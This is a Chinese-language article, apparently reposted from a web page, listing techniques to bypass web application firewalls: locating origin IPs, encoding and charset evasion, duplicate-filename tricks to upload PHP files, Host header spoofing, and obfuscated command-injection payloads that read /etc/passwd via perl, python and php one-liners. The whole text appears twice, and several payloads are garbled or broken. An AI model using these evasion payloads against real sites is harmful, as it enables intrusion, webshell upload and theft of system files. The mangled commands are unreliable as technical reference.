有哪些技巧可以绕过常见的Web应用防火墙?
- 内容介绍
- 文章标签
- 相关推荐
本文共计907个文字,预计阅读时间需要4分钟。
一、网络架构层进行绕过
1.利用真实IP地址绕过
1.查找相关的二级域名或同一域名的其他域名解析记录
2.通过查看邮件交换记录解析找到真实IP地址
二、Windows下通过nslookup查找
一、网络架构层进行绕过 1. 利用真实IP地址绕过1.查找相关的二级域名或者同一域名注册者的其他域名解析记录
2. 通过查看邮件交换记录解析来找到真实IP地址。
Windows下可以通过nslookup命令
nslookup -qt=mx baidu.com
Linux下可以通过dig命令
digmxbaidu.com
3. 查看域名的历史解析记录:securitytrails.com/
二、HTTP协议层绕过WAF 0.1. 利用pipeline绕过wafpipeline绕过是利用target/ | grep Accept
通过收集到的信息,找出web服务器支持的SSL密码和TLS版本,但WAF不支持。之后就可以利用。
curl --ciphers ECDHE-RSA-AES256-SHA waf-test.lab.local/ssl-cipher-test 2. 利用HTTP协议版本绕过
通过修改HTTP协议的版本号绕过。
3. 利用url编码、charset编码、MIME编码绕过 对特殊字符进行编码IISASP支持Unicode编码,还会对不合法的url编码进行字符删除,比如:我们可以利用s%elect来绕过对select的过滤。
但是nginx会将s%elect处理为slect,Nginx的ngx unescape_uri函数在处理%编码时,如果%后面的第一个字符不在十六进制范围内,则会丢弃%;否则判断第二个字符是否在十六进制范围内,如果不在则会丢弃%和%后的第一个字符。所以遇到nginx中间件时,我们可以在select的l前加%。se%lect
修改http请求头的Content-Type字段的值HTTP请求头Content-Type的charset编码可以指定内容编码,这个值一般都是UTF-8编码的,但恶意攻击者可以指定使用ibm037、 ibm500、cp875、ibm1026等不常用的编码来进行绕过。
可以设置Content-Type头的值为
application/x-www-form-urlencoded;charset=ibm500
或
multipart/formdata;charset=ibm500,boundary=blah
这里使用Burpsuite的HTTP Request Smuggler插件可以简化数据包的修改操作。
利用MIME编码绕过:spring框架可用。
在Spring中,如果上传的文件名以=?开始并以?=结束,则调用MimeDelegate.decode来对文件名解码。MIME是邮件协议中用到的编码方式,这里我们可以将上传文件名改为=2UTF-82B?YS5gc3A=?=UTF-8代表字符编码,B?代表后面的YS50c3A=是base64编码的。
经过Sprina解码得到的文件名是aisp,而一般的WAF如果之前没有经过处理,那么就会出现在WAF中上传文件名过滤被绕过的问题。
4. 上传协议对multipart/form-data的不规范解析进行绕过PHP web server对multipart/form-data解析时,会取最后一个filename的值,而WAF验证时,取第一个值,我们可以在数据包中加一个filename的值,从而绕过waf。
Content-Disposition: form-data; name="file1";
filename="a.txt";filename="a.php";
5. 修改Host值绕过
一些基于域名防护的WAF,我们可以修改Host值来绕过。
Host:localhost:80 Host:127.0.0.1:80 三、第三方应用层绕过 1. 数据库绕过:
1. mysql的版本号注释绕过:/%!
2. 利用0xA0代替空格绕过、MySQL中0x01至0x0F的字符都能代表空格。
2. 系统命令的绕过:Linux系统下查看/etc/passwd
cat /etc/passwd可以改为下面方法:去掉空格
cat</etc/passwd
lcat,/etc/passwd]
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&sx
绕过关键字方法:插入成对的单引号、双引号或者反引号。
c'a't /etc/pass'"wd
c""at /e't'c/pass""wd
c""at /e't'c/pass~~*wd
windows系统下ping 百度,替换了空格。
ping%CommonProgramFiles:10.-18%baidu.com ping%PROGRAMFILES:~10,-5%baidu.com
通过一些脚本执行引擎,如perl、python、nodejs、php、java等来绕过WAF关键字,相关写法如下:
perl -e 'sa "ca" Sb="t /et".sc="c/pas".exec sa.sb.sou"swd"."
python -c 'import subprocess;subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"1);"3 php
-r 'exec("ca"."t /et"."c/pa"."sswd");"
本文共计907个文字,预计阅读时间需要4分钟。
一、网络架构层进行绕过
1.利用真实IP地址绕过
1.查找相关的二级域名或同一域名的其他域名解析记录
2.通过查看邮件交换记录解析找到真实IP地址
二、Windows下通过nslookup查找
一、网络架构层进行绕过 1. 利用真实IP地址绕过1.查找相关的二级域名或者同一域名注册者的其他域名解析记录
2. 通过查看邮件交换记录解析来找到真实IP地址。
Windows下可以通过nslookup命令
nslookup -qt=mx baidu.com
Linux下可以通过dig命令
digmxbaidu.com
3. 查看域名的历史解析记录:securitytrails.com/
二、HTTP协议层绕过WAF 0.1. 利用pipeline绕过wafpipeline绕过是利用target/ | grep Accept
通过收集到的信息,找出web服务器支持的SSL密码和TLS版本,但WAF不支持。之后就可以利用。
curl --ciphers ECDHE-RSA-AES256-SHA waf-test.lab.local/ssl-cipher-test 2. 利用HTTP协议版本绕过
通过修改HTTP协议的版本号绕过。
3. 利用url编码、charset编码、MIME编码绕过 对特殊字符进行编码IISASP支持Unicode编码,还会对不合法的url编码进行字符删除,比如:我们可以利用s%elect来绕过对select的过滤。
但是nginx会将s%elect处理为slect,Nginx的ngx unescape_uri函数在处理%编码时,如果%后面的第一个字符不在十六进制范围内,则会丢弃%;否则判断第二个字符是否在十六进制范围内,如果不在则会丢弃%和%后的第一个字符。所以遇到nginx中间件时,我们可以在select的l前加%。se%lect
修改http请求头的Content-Type字段的值HTTP请求头Content-Type的charset编码可以指定内容编码,这个值一般都是UTF-8编码的,但恶意攻击者可以指定使用ibm037、 ibm500、cp875、ibm1026等不常用的编码来进行绕过。
可以设置Content-Type头的值为
application/x-www-form-urlencoded;charset=ibm500
或
multipart/formdata;charset=ibm500,boundary=blah
这里使用Burpsuite的HTTP Request Smuggler插件可以简化数据包的修改操作。
利用MIME编码绕过:spring框架可用。
在Spring中,如果上传的文件名以=?开始并以?=结束,则调用MimeDelegate.decode来对文件名解码。MIME是邮件协议中用到的编码方式,这里我们可以将上传文件名改为=2UTF-82B?YS5gc3A=?=UTF-8代表字符编码,B?代表后面的YS50c3A=是base64编码的。
经过Sprina解码得到的文件名是aisp,而一般的WAF如果之前没有经过处理,那么就会出现在WAF中上传文件名过滤被绕过的问题。
4. 上传协议对multipart/form-data的不规范解析进行绕过PHP web server对multipart/form-data解析时,会取最后一个filename的值,而WAF验证时,取第一个值,我们可以在数据包中加一个filename的值,从而绕过waf。
Content-Disposition: form-data; name="file1";
filename="a.txt";filename="a.php";
5. 修改Host值绕过
一些基于域名防护的WAF,我们可以修改Host值来绕过。
Host:localhost:80 Host:127.0.0.1:80 三、第三方应用层绕过 1. 数据库绕过:
1. mysql的版本号注释绕过:/%!
2. 利用0xA0代替空格绕过、MySQL中0x01至0x0F的字符都能代表空格。
2. 系统命令的绕过:Linux系统下查看/etc/passwd
cat /etc/passwd可以改为下面方法:去掉空格
cat</etc/passwd
lcat,/etc/passwd]
cat$IFS/etc/passwd
X=$'cat\x20/etc/passwd'&&sx
绕过关键字方法:插入成对的单引号、双引号或者反引号。
c'a't /etc/pass'"wd
c""at /e't'c/pass""wd
c""at /e't'c/pass~~*wd
windows系统下ping 百度,替换了空格。
ping%CommonProgramFiles:10.-18%baidu.com ping%PROGRAMFILES:~10,-5%baidu.com
通过一些脚本执行引擎,如perl、python、nodejs、php、java等来绕过WAF关键字,相关写法如下:
perl -e 'sa "ca" Sb="t /et".sc="c/pas".exec sa.sb.sou"swd"."
python -c 'import subprocess;subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"1);"3 php
-r 'exec("ca"."t /et"."c/pa"."sswd");"

